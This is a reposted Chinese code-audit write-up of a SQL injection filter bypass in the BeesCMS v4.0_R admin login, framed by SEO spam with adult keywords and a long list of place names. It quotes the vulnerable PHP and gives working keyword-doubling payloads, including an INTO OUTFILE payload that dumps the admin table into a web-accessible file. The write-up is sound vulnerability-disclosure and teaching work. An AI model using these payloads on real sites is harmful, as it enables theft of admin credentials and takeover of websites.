国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 學院 > 開發設計 > 正文

【代碼審計初探】beescms v4.0_R SQL

2019-11-08 02:04:00
字體:
來源:轉載
供稿:網友
本文原創作者:0h1in9e,本文屬i春秋原創獎勵計劃,未經許可禁止轉載!0x01 前言前段時間去嘗試審計一款cms系統,恰巧在補天上看到有Beescms相關漏洞,于是去官網下載了個學著審計了下。后來找出了Bypass 全局防護的SQL Injection .當時心情 激動地去補天提交。結果悲催的是在我提交的前幾天有人提交了。下面進入正題,大神請繞道!0x02 目標介紹Beescms企業網站管理系統v4.0。最近更新版本是V4.0_R_20160525。進入官網后直接下載了最新版本。在本地搭建使用XAMPP搭建好環境之后,開始了對目標系統的審計。所用的到工具有XAMPP、Burpsuit、Seay源代碼審計系統和Chrome瀏覽器。漏洞標題: BeesCMS最新版_V4.0_R_20160525 SQL注射(突破全局防護)0x03 后臺登錄處驗證碼設計缺陷漏洞首先是后臺登錄頁面 /admin/login.php驗證碼形同虛設,一次驗證后在不刷新的情況下可以多次提交請求。這就為這里的注入提供了前提條件。比如下面使用burpsuit intruder進行SQL Fuzzing:0x04 分析登錄處的SQL注入在admin/login.php中,登錄處的核心代碼是:
//判斷登錄elseif($action=='ck_login'){        global $submit,$user,$passWord,$_sys,$code;        $submit=$_POST['submit'];        $user=fl_html(fl_value($_POST['user']));        $password=fl_html(fl_value($_POST['password']));        $code=$_POST['code'];        if(!isset($submit)){                msg('請從登陸頁面進入');        }        if(empty($user)||empty($password)){                msg("密碼或用戶名不能為空");        }        if(!empty($_sys['safe_open'])){                foreach($_sys['safe_open'] as $k=>$v){                if($v=='3'){                        if($code!=$s_code){msg("驗證碼不正確!");}                }                }                }        check_login($user,$password);         }看到此處對輸入的用戶名和密碼進行的操作:
$user=fl_html(fl_value($_POST['user']));$password=fl_html(fl_value($_POST['password']));定位到函數fl_value 和 函數 fl_html : (都位于/includes/fun.php下面)
function fl_value($str){        if(empty($str)){return;}        return union => uni union onselect => selselectectoutfile => outoutfilefileinto => into……同時,登錄SQL執行代碼在fun.php中,如下:
function check_login($user,$password){        $rel=$GLOBALS['MySQL']->fetch_asc("select id,admin_name,admin_password,admin_purview,is_disable from ".DB_PRE."admin where admin_name='".$user."' limit 0,1");         $rel=empty($rel)?'':$rel[0];        if(empty($rel)){                msg('不存在該管理用戶','login.php');        }        $password=md5($password);        if($password!=$rel['admin_password']){                msg("輸入的密碼不正確");        }        if($rel['is_disable']){                msg('該賬號已經被鎖定,無法登陸');        }                 $_session['admin']=$rel['admin_name'];        $_SESSION['admin_purview']=$rel['admin_purview'];        $_SESSION['admin_id']=$rel['id'];        $_SESSION['admin_time']=time();        $_SESSION['login_in']=1;        $_SESSION['login_time']=time();        $ip=fl_value(get_ip());        $ip=fl_html($ip);        $_SESSION['admin_ip']=$ip;        unset($rel);        header("location:admin.php");}可以知道字段數為5,下面通過構造語句:
admin' uni union on selselectect 1,2,3,4,5--%20可以看到返回了正常頁面:(check_login可知SQL是先執行username查詢之后再驗證密碼的,所以如下輸入結果正常)知道了這個注入規則之后,就有各種各樣的注入方法了,下面我使用了一種可以直接拿到管理員賬號密碼的:如:(本地環境測試的)注入如下語句:
user=admin' uni union on selselectect 1,2,3,4,5 ''  in into  outoutfilefile 'D:/xampp/htdocs/beecms/a.php' --%20目的是在網站根目錄下新建a.php文件,可以記錄表 bees_admin里面的信息在a.php里面(由于函數hl_html的過濾導致不能直接上傳 php木馬)。效果圖如下:此時,網站根目錄下面已經產生了a.php這個文件了,如下所示:a.php里面前面的部分為bees_admin表里面的admin所對應的內容,后面的1~5則是為了補全select語法在payload里面寫的內容。這樣的話,就可以拿管理員登錄后臺了。當然,注入手法很多,知道了這個規則,各種注入就可以上場了。0x05 修復建議及總結fl_value函數的正則驗證需要加強~雖然fl_value函數擋住了尋常注入語句,但是由于過濾不嚴導致Bypass掉全局的sql注入防護。代碼審計過程中對于一些過濾函數類應該特別留意,嘗試去繞過,往往會有意想不到的驚喜。
發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 东丽区| 西藏| 昆山市| 平凉市| 加查县| 交口县| 凤山县| 麻栗坡县| 尼玛县| 吉林市| 阜平县| 五常市| 洪洞县| 双江| 安福县| 三河市| 乌鲁木齐县| 新余市| 大名县| 崇左市| 资阳市| 微博| 柳江县| 咸阳市| 都安| 庆云县| 光泽县| 无为县| 客服| 漾濞| 八宿县| 江都市| 察哈| 兴山县| 东港市| 皮山县| 邛崃市| 司法| 滦南县| 张家港市| 兴业县|